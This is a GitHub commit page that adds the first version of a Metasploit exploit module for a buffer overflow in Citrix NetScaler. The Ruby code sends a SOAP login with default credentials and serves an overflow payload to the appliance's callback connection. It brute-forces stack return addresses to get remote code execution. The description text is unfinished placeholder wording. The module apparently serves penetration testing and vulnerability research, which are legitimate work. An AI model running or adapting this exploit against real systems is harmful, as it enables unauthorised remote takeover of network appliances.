Skip to content

Commit ac93932

Browse files
committed
Add module first version
1 parent 71a6ec8 commit ac93932

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::TcpServer
13+
include Msf::Exploit::Brute
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Citrix NetScaler Buffer Overflow",
18+
'Description' => %q{
19+
This module exploits a buffer overflow vulnerability found in Citrix NetScaler...
20+
The vulnerability exists.... This module has been tested successfully on....
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Bradley Austin', # Vulnerability Discovery and PoC
26+
'juan vazquez' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
['URL', 'http://http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']
31+
],
32+
'Payload' =>
33+
{
34+
'Space' => 1024,
35+
'MinNops' => 512,
36+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
37+
},
38+
'Arch' => ARCH_X86,
39+
'Platform' => 'bsd',
40+
'Stance' => Msf::Exploit::Stance::Aggressive,
41+
'Targets' =>
42+
[
43+
[ 'NetScaler Virtual Appliance',
44+
{
45+
'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense.
46+
'Offset' => 606,
47+
'Ret' => 0xffffda94, # Try before bruteforce...
48+
'Bruteforce' =>
49+
{
50+
'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack
51+
'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack
52+
'Step' => 256
53+
}
54+
}
55+
],
56+
],
57+
'DisclosureDate' => "Sep 22 2014",
58+
'DefaultTarget' => 0))
59+
60+
register_options(
61+
[
62+
OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
63+
OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]),
64+
OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010])
65+
], self.class)
66+
end
67+
68+
69+
def check
70+
res = send_request_cgi({
71+
'method' => 'GET',
72+
'uri' => normalize_uri(target_uri.path.to_s)
73+
})
74+
75+
if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m
76+
return Exploit::CheckCode::Detected
77+
end
78+
79+
Exploit::CheckCode::Unknown
80+
end
81+
82+
def exploit
83+
if datastore['SRVHOST'] == '0.0.0.0'
84+
fail_with(Failure::BadConfig, 'Don\'t use 0.0.0.0 as SRVHOST, use an address on the local machine reachable by the target')
85+
end
86+
87+
start_service
88+
89+
if target.ret
90+
@curr_ret = target.ret
91+
send_request_soap
92+
Rex.sleep(3)
93+
94+
if session_created?
95+
return
96+
end
97+
end
98+
99+
super
100+
end
101+
102+
def brute_exploit(addrs)
103+
@curr_ret = addrs['Ret']
104+
send_request_soap
105+
end
106+
107+
def send_request_soap
108+
soap = <<-EOS
109+
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
110+
<SOAP-ENV:Body>
111+
<ns7744:login xmlns:ns7744="urn:NSConfig">
112+
<username xsi:type="xsd:string">nsroot</username>
113+
<password xsi:type="xsd:string">nsroot</password>
114+
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
115+
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
116+
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
117+
</ns7744:login>
118+
</SOAP-ENV:Body>
119+
</SOAP-ENV:Envelope>
120+
EOS
121+
122+
print_status("#{peer} - Sending soap request...")
123+
124+
send_request_cgi({
125+
'method' => 'POST',
126+
'uri' => normalize_uri(target_uri.path.to_s),
127+
'data' => soap
128+
}, 1)
129+
end
130+
131+
def on_client_data(c)
132+
print_status("#{c.peerhost} - Getting request...")
133+
134+
data = c.get_once(2)
135+
req_length = data.unpack("v")[0]
136+
137+
req_data = c.get_once(req_length - 2)
138+
unless req_data.unpack("V")[0] == 0xa5a50000
139+
print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
140+
end
141+
142+
print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")
143+
144+
my_payload = Rex::Text.pattern_create(target['Offset'])
145+
my_payload << [@curr_ret, target['RwPtr']].pack("V*")
146+
my_payload << payload.encoded
147+
148+
pkt = [my_payload.length + 6].pack("v")
149+
pkt << "\x00\x00\xa5\xa5"
150+
pkt << my_payload
151+
c.put(pkt)
152+
c.disconnect
153+
end
154+
155+
end

0 commit comments

Comments
 (0)